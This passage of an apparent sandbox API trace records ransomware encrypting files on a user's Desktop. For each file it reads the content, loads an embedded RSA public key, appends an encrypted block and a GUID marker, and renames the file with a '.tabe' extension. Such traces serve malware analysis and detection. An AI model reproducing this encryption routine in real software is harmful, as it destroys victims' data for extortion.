ftLastWriteTime.dwHighDateTime=0x1d5d973, nFileSizeHigh=0x0, nFileSizeLow=0x5e7d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ghIXM.jpg", cAlternateFileName="")) returned 1 [0126.103] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ghIXM.jpg") returned=".jpg" [0126.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ghIXM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghixm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.103] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=24189) returned 1 [0126.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.104] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5e57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.104] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.105] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x5e7d, lpOverlapped=0x0) returned 1 [0126.105] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.105] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.105] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.105] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.106] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.106] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.106] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.106] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.106] GetLastError () returned 0x0 [0126.106] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.106] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.106] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.106] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.106] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.106] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.106] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5e7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.106] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.107] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.107] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.107] CloseHandle (hObject=0x618) returned 1 [0126.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ghIXM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghixm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ghIXM.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghixm.jpg.tabe")) returned 1 [0126.109] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88bf930, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0x70d37d50, ftLastAccessTime.dwHighDateTime=0x1d5e761, ftLastWriteTime.dwLowDateTime=0x70d37d50, ftLastWriteTime.dwHighDateTime=0x1d5e761, nFileSizeHigh=0x0, nFileSizeLow=0x12c92, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="HCr_ 5e.mp3", cAlternateFileName="HCR_5E~1.MP3")) returned 1 [0126.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCr_ 5e.mp3") returned=".mp3" [0126.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCr_ 5e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcr_ 5e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.109] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=76946) returned 1 [0126.109] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.110] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12c6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.110] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.111] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.111] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x12c92, lpOverlapped=0x0) returned 1 [0126.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.112] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.113] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.113] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.113] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.113] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.113] GetLastError () returned 0x0 [0126.113] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.113] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.113] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.113] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.113] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.113] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.114] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12c92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.114] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.114] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.114] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.114] CloseHandle (hObject=0x618) returned 1 [0126.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCr_ 5e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcr_ 5e.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCr_ 5e.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcr_ 5e.mp3.tabe")) returned 1 [0126.116] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e4f80, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0xbe6e600, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x9848c00, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0xbc200, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="host1506_2020-06-15_14-07.exe", cAlternateFileName="HOST15~1.EXE")) returned 1 [0126.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe") returned=".exe" [0126.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.117] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=770560) returned 1 [0126.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.118] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc1da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.118] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.119] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.119] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0126.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.121] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.122] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.122] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.122] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.122] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.122] GetLastError () returned 0x0 [0126.122] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.122] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.122] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.122] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.122] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.123] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.124] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.124] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.124] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.124] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.124] CloseHandle (hObject=0x618) returned 1 [0126.132] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe.tabe")) returned 1 [0126.134] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c1e2fe0, ftCreationTime.dwHighDateTime=0x1d5e620, ftLastAccessTime.dwLowDateTime=0xfd4e13e0, ftLastAccessTime.dwHighDateTime=0x1d5e2dd, ftLastWriteTime.dwLowDateTime=0xfd4e13e0, ftLastWriteTime.dwHighDateTime=0x1d5e2dd, nFileSizeHigh=0x0, nFileSizeLow=0xf63f, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="j39KpS0Z.jpg", cAlternateFileName="")) returned 1 [0126.134] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j39KpS0Z.jpg") returned=".jpg" [0126.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j39KpS0Z.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j39kps0z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.134] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=63039) returned 1 [0126.134] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.135] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf619, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.135] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.136] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xf63f, lpOverlapped=0x0) returned 1 [0126.136] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.136] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.136] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.136] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 